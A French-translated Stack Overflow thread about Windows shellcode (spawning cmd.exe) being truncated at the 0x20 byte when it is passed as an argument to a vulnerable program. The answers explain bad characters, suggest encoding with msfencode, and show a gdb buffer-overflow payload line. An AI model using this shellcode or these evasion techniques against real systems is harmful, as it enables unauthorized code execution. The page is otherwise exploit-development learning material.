Question

Pourquoi mon shellcode est tronquée après \x20 opcode, lorsqu'il est copié par chaîne à empiler sur un second programme vulnérable?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
Était-ce utile?

La solution

Êtes-vous ce shellcode de passage comme argument de ligne de commande? Dans ce cas, jetez un oeil au code ASCII 0x20;)

Autres conseils

Ma théorie est que des choses comme citation, l'espace, null, etc sont interprétées par les fenêtres shell plutôt que d'être envoyé par. Vous pouvez y échapper en quelque sorte, mais je pense qu'il est plus facile de coder le shellcode. Donc, essayez l'utilitaire msfencode de Metasploit pour éviter ces opcodes tout à fait. Je sais null (/ x00), l'espace (/ x20) et devis (/ x22) ne peut pas être transmis directement, mais je suppose qu'il ya d'autres opcodes qui ne peuvent être transmis aussi bien.

C'est ma solution, mais personne ne sait de tout autre ceux qui sont mieux?

Mettez doubles guillemets autour de la commande entière. Par exemple, exécutez:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top